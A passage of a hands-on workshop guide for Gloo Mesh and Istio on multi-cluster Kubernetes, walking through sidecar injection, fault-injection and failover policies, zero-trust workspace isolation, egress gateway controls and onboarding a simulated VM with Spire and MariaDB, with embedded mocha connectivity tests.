+kubectl --context ${CLUSTER2} rollout restart deployment productpage-v1 -n bookinfo-frontends +``` + + +2. Validate the `productpage` pod is running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pod -l app=productpage -n bookinfo-frontends +kubectl --context ${CLUSTER2} get pod -l app=productpage -n bookinfo-frontends +``` + +You should see `2/2` in the output. This indicates the sidecar proxy is running alongside the `productpage` application container in the `productpage` pod: +```text,nocopy +NAME READY STATUS RESTARTS AGE +productpage-7d5ccfd7b4-m7lkj 2/2 Running 0 9m4s +``` + +3. Validate the `productpage` pod log looks good: + +```shell +kubectl --context ${CLUSTER1} logs deploy/productpage-v1 -c productpage -n bookinfo-frontends +``` + +4. Validate you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## Add more services to the Istio service mesh + +Now that you have added the `productpage` service to the mesh, you can add the other services to the mesh as well. The `details`, `reviews`, and `ratings` services are part of the `bookinfo-backends` namespace. + +1. First, you need to annotate the `bookinfo-backends` namespace to enable automatic sidecar injection: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-backends istio.io/rev=1-19 +``` + +2. Next, you can add the `istio-proxy` sidecar to the other services in the `bookinfo-backends` namespace + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout restart deployment +kubectl --context ${CLUSTER2} -n bookinfo-backends rollout restart deployment +``` + + +3. Validate that all the pods in the `bookinfo-backends` namespace are running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pods -n bookinfo-backends +kubectl --context ${CLUSTER2} get pods -n bookinfo-backends +``` + +4. Verify that you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## What have you gained? + +One of the values of using a service mesh is that you will gain immediate insight into the behavior and interactions between your services. Istio gives you access to important telemetry data, just by adding services to the mesh. In addition, you get a lot of functionality for free, such as load balancing, circuit breaking, mutual TLS, and more. + +You can see now the services in the UI Graph, the traffic between them, and if they are healthy or not. +![UI-Mesh](images/steps/adding-services-to-mesh/ui-mesh.png) + + + + + + +## Lab 19 - Traffic policies +[VIDEO LINK](https://youtu.be/ZBdt8WA0U64 "Video Link") + +We're going to use Gloo Mesh policies to inject faults and configure timeouts. + +Let's create the following `FaultInjectionPolicy` to inject a delay when the `v2` version of the `reviews` service talk to the `ratings` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const chaiHttp = require("chai-http"); +chai.use(chaiHttp); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +afterEach(function (done) { + if (this.currentTest.currentRetry() > 0) { + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } +}); + +let searchTest="Sorry, product reviews are currently unavailable for this book."; + +describe("Reviews shouldn't be available", () => { + it("Checking text '" + searchTest + "' in cluster1", async () => { + await chai.request(`https://cluster1-bookinfo.example.com`) + .get('/productpage') + .send() + .then((res) => { + expect(res.text).to.contain(searchTest); + }); + }); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/traffic-policies/tests/traffic-policies-reviews-unavailable.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh the page several times, you'll see an error message telling that reviews are unavailable when the productpage is trying to communicate with the version `v2` of the `reviews` service. + +![Bookinfo reviews unavailable](images/steps/traffic-policies/reviews-unavailable.png) + +This diagram shows where the timeout and delay have been applied: + +![Gloo Mesh Traffic Policies](images/steps/traffic-policies/gloo-mesh-traffic-policies.svg) + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete faultinjectionpolicy ratings-fault-injection +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable ratings +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete retrytimeoutpolicy reviews-request-timeout +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable reviews +``` + + + +## Lab 20 - Create the Root Trust Policy +[VIDEO LINK](https://youtu.be/-A2U2fYYgrU "Video Link") + +To allow secured (end-to-end mTLS) cross cluster communications, we need to make sure the certificates issued by the Istio control plane on each cluster are signed with intermediate certificates which have a common root CA. + +Gloo Mesh fully automates this process. + + + +Run the following command to create the *Root Trust Policy*: + +```bash +kubectl apply --context ${MGMT} -f - </dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" + +printf "\nWaiting until the secret is created in $CLUSTER2" +until kubectl --context ${CLUSTER2} get secret -n istio-system cacerts &>/dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" +--> + + + + + + + + + + + + + + +We also need to make sure we restart our `in-mesh` deployment because it's not yet part of a `Workspace`: + +```bash +kubectl --context ${CLUSTER1} -n httpbin rollout restart deploy/in-mesh +``` + + + + +## Lab 21 - Leverage Virtual Destinations for east west communications + +We can create a Virtual Destination which will be composed of the `reviews` services running in both clusters. + +Let's create this Virtual Destination. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +It's nice, but you generally want to direct the traffic to the local services if they're available and failover to the remote cluster only when they're not. + +In order to do that we need to create 2 other policies. + +The first one is a `FailoverPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, if you try to access the `reviews` service, you should only get responses from `cluster1`. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +If the `reviews` service doesn't exist on the first cluster, the `productpage` service of this cluster will automatically use the `reviews` service running on the other cluster. + +Let's try this: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v2 +``` + + + +You can still access the reviews application even if the `reviews` service isn't running in `cluster1` anymore. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Let's restart the `reviews` services: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v2 +``` + +But what happens if the `reviews` services is running, but is unavailable ? + +Let's try! + +The following commands will patch the deployments to run a new version which won't respond to the incoming requests. + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v1 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v2 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + + + +You can still access the bookinfo application. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Run the following commands to make the `reviews` service available again in the first cluster + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v1 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v2 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + +Let's delete the different objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends delete virtualdestination reviews +kubectl --context ${CLUSTER1} -n bookinfo-backends delete failoverpolicy failover +kubectl --context ${CLUSTER1} -n bookinfo-backends delete outlierdetectionpolicy outlier-detection +``` + + + +## Lab 22 - Zero trust +[VIDEO LINK](https://youtu.be/BiaBlUaplEs "Video Link") + +In the previous step, we federated multiple meshes and established a shared root CA for a shared identity domain. + +All the communications between Pods in the mesh are now encrypted by default, but: + +- communications between services that are in the mesh and others which aren't in the mesh are still allowed and not encrypted +- all the services can talk together + +Let's validate this. + + +Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + +You should get a `200` response code which confirm that the communication is currently allowed. + + + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You should get a `200` response code again. + +To enfore a zero trust policy, it shouldn't be the case. + +We'll leverage the Gloo Mesh workspaces to get to a state where: + +- communications between services which are in the mesh and others which aren't in the mesh aren't allowed anymore +- communications between services in the mesh are allowed only when services are in the same workspace or when their workspaces have import/export rules. + +The Bookinfo team must update its `WorkspaceSettings` Kubernetes object to enable service isolation. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Communication not allowed", () => { + it("Response code shouldn't be 200", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}'" }).replaceAll("'", ""); + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin debug -i -q " + podName + " --image=curlimages/curl -- curl -s -o /dev/null -w \"%{http_code}\" --max-time 3 http://reviews.bookinfo-backends:9080/reviews/0" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/not-in-mesh-to-in-mesh-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You shouldn't get a `200` response code, which means that the communication isn't allowed. + +You've see seen how Gloo Platform can help you to enforce a zero trust policy (at workspace level) with nearly no effort. + +Now we are going to define some additional policies to achieve zero trust at service level. + +We are going to define AccessPolicies from the point of view of a service producers. + +> I am owner of service A, which services needs to communicate with me? + +![Gloo Mesh Gateway](images/steps/zero-trust/gloo-mesh-gateway.svg) + +Productpage app is the only service which is exposed to the internet, so we will create an `AccessPolicy` to allow the Istio Ingress Gateway to forward requests to the productpage service. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + + it("Response code shouldn't be 200 accessing ratings", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://ratings.bookinfo-backends:9080/ratings/0', timeout=3); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); + + it("Response code should be 200 accessing reviews with GET", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Response code should be 403 accessing reviews with HEAD", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.head('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); + + it("Response code should be 200 accessing details", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://details.bookinfo-backends:9080/details/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/bookinfo-access.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's rollback the change we've made in the `WorkspaceSettings` object: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") + + +In this step, we're going to secure the egress traffic. + +We're going to deploy an egress gateway, configure Kubernetes `NetworkPolicies` to force all the traffic to go through it and implement some access control at the gateway level. + + + +The gateways team is going to deploy an egress gateway: + +```bash +kubectl apply --context ${MGMT} -f - < + +You should get an output similar to: + +```,nocopy +NAME READY STATUS RESTARTS AGE +istio-egressgateway-1-17-55fcbddd96-bwntr 1/1 Running 0 25m +``` + +Then, the gateway team needs to create a `VirtualGateway` and can define which hosts can be accessed through it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication not allowed", () => { + it("Productpage can NOT send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get', timeout=5); print(r.text)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("User-Agent"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +It's not working. + +You can now create an `ExternalService` to expose `httpbin.org` through the egress gateway: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, it works! + +And you can run the following command to check that the request went through the egress gateway: + +```shell +kubectl --context ${CLUSTER1} -n istio-gateways logs -l istio=egressgateway --tail 1 +``` + +Here is the expected output: + +```,nocopy +[2023-05-11T20:10:30.274Z] "GET /get HTTP/1.1" 200 - via_upstream - "-" 0 3428 793 773 "10.102.1.127" "python-requests/2.28.1" "e6fb42b7-2519-4a59-beb8-0841380d445e" "httpbin.org" "34.193.132.77:443" outbound|443||httpbin.org 10.102.2.119:39178 10.102.2.119:8443 10.102.1.127:48388 httpbin.org - +``` + +The gateway team can also restrict which HTTP method can be used by the Pods when sending requests to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send GET requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Productpage can't send POST requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.post('http://httpbin.org/post'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-only-get-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You can still send GET requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://httpbin.org/get'); print(r.text)" +``` + +But you can't send POST requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.post('http://httpbin.org/post'); print(r.text)" +``` + +You'll get the following response: + +```,nocopy +RBAC: access denied +``` + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete networkpolicy restrict-egress +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete externalservice httpbin +kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-httpbin +``` + + + +## Lab 24 - VM integration with Spire + +Let's see how we can configure a VM to be part of the Mesh. + +To make it easier (and more fun), we'll use a Docker container to simulate a VM. + +The certificates will be generated by the Spire server. We need to restart it to use the intermediate CA certificate generated by the `RootTrustPolicy`. + +```bash +kubectl --context ${CLUSTER1} -n gloo-mesh rollout restart deploy gloo-spire-server +``` + +First of all, we need to define a few environment variables: + +```bash +export VM_APP="vm1" +export VM_NAMESPACE="virtualmachines" +export VM_NETWORK="vm-network" +``` + +Create the namespace that will host the virtual machine: + +```bash +kubectl --context ${CLUSTER1} create namespace "${VM_NAMESPACE}" +``` + +Let's update the bookinfo `Workspace` to include the `virtualmachines` namespace of the first cluster: + +```bash +kubectl apply --context ${MGMT} -f - < /vm/resolv.conf" +docker exec vm1 cp /vm/resolv.conf /etc/resolv.conf +``` + +Install the dependencies: + +```bash +docker exec vm1 apt update -y +docker exec vm1 apt-get install -y iputils-ping curl iproute2 iptables python3 sudo dnsutils +``` + +Create routes to allow the VM to access the Pods on the 2 Kubernetes clusters: + +```bash +cluster1_cidr=$(kubectl --context ${CLUSTER1} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) +cluster2_cidr=$(kubectl --context ${CLUSTER2} -n kube-system get pod -l component=kube-controller-manager -o jsonpath='{.items[0].spec.containers[0].command}' | jq -r '.[] | select(. | startswith("--cluster-cidr="))' | cut -d= -f2) + +docker exec vm1 $(kubectl --context ${CLUSTER1} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster1_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +docker exec vm1 $(kubectl --context ${CLUSTER2} get nodes -o=jsonpath='{range .items[*]}{"ip route add "}{"'${cluster2_cidr}' via "}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}') +``` + +Copy `meshctl` into the container: + +```bash +docker cp $HOME/.gloo-mesh/bin/meshctl vm1:/usr/local/bin/ +``` + +Create an `ExternalWorkload` object to represent the VM and the applications it runs: + +```bash +kubectl apply --context ${CLUSTER1} -f - <&1 | grep INFO | awk '{ print $4}') + sleep 1 # Pause for 1 second +done +--> + +Get a Spire token to register the VM: + +```bash +export JOIN_TOKEN=$(meshctl external-workload gen-token \ + --kubecontext ${CLUSTER1} \ + --ext-workload virtualmachines/${VM_APP} \ + --trust-domain ${CLUSTER1} \ + --plain 2>&1 | grep INFO | awk '{ print $4}') +``` + +Get the IP address of the E/W gateway the VM will use to register itself: + +```bash +export EW_GW_ADDR=$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=eastwestgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}') +``` + +Register the VM: + +```bash +export GLOO_AGENT_URL=https://storage.googleapis.com/gloo-platform/vm/v2.5.0/gloo-workload-agent.deb +export ISTIO_URL=https://storage.googleapis.com/solo-workshops/istio-binaries/1.19.3/istio-sidecar.deb + +docker exec vm1 meshctl ew onboard --install \ + --attestor token \ + --join-token ${JOIN_TOKEN} \ + --cluster ${CLUSTER1} \ + --gateway-addr ${EW_GW_ADDR} \ + --gateway istio-gateways/istio-eastwestgateway-1-19 \ + --trust-domain ${CLUSTER1} \ + --istio-rev 1-19 \ + --network vm-network \ + --gloo ${GLOO_AGENT_URL} \ + --istio ${ISTIO_URL} \ + --ext-workload virtualmachines/${VM_APP} +``` + +Take a look at the Envoy clusters: + +```bash +docker exec vm1 curl -v localhost:15000/clusters | grep productpage.bookinfo-frontends.svc.cluster.local +``` + +It should return several lines similar to the one below: + +```,nocopy +outbound|9080||productpage.bookinfo-frontends.svc.cluster.local::172.18.2.1:15443::cx_active::0 +``` + +You can see that the IP address corresponds to the IP address of the E/W Gateway. + +You should now be able to reach the product page application from the VM: + +```bash +docker exec vm1 curl -I productpage.bookinfo-frontends.svc.cluster.local:9080/productpage +``` + + + +Now, let's do the opposite and access an application running in the VM from a Pod. + +Run the following command to start a web server: + +```bash +docker exec -d vm1 python3 -m http.server 9999 +``` + +Try to access the app from the `productpage` Pod: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://${VM_APP}.virtualmachines.ext.cluster.local:9999'); print(r.text)" +``` + + + +Finally, let's deploy MariaDB in the VM and configure the ratings service to use it as a backend. + +```bash +docker exec vm1 apt-get update +docker exec vm1 apt-get install -y mariadb-server +``` + +We need to configure the database properly: + +```bash +docker exec vm1 sed -i '/bind-address/c\bind-address = 0.0.0.0' /etc/mysql/mariadb.conf.d/50-server.cnf +docker exec vm1 systemctl start mysql + +docker exec -i vm1 mysql < ./test.js +const helpers = require('./tests/chai-http'); + +describe("The ratings service should use the database running on the VM", () => { + it('Got reviews v2 with ratings in cluster1', () => helpers.checkBody({ host: `https://cluster1-bookinfo.example.com`, path: '/productpage', body: 'color="black"', match: true })); +}) + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/vm-integration-spire/tests/ratings-using-vm.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +Let's delete the objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n "${VM_NAMESPACE}" delete externalworkload ${VM_APP} +kubectl --context ${CLUSTER1} delete namespace "${VM_NAMESPACE}" +kubectl --context ${CLUSTER1} -n bookinfo-backends delete -f https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo-ratings-v2-mysql-vm.yaml +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/ratings-v1 --replicas=1 +``` + +Let's apply the original bookinfo Workspace: + +```bash +kubectl apply --context ${MGMT} -f - < + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdT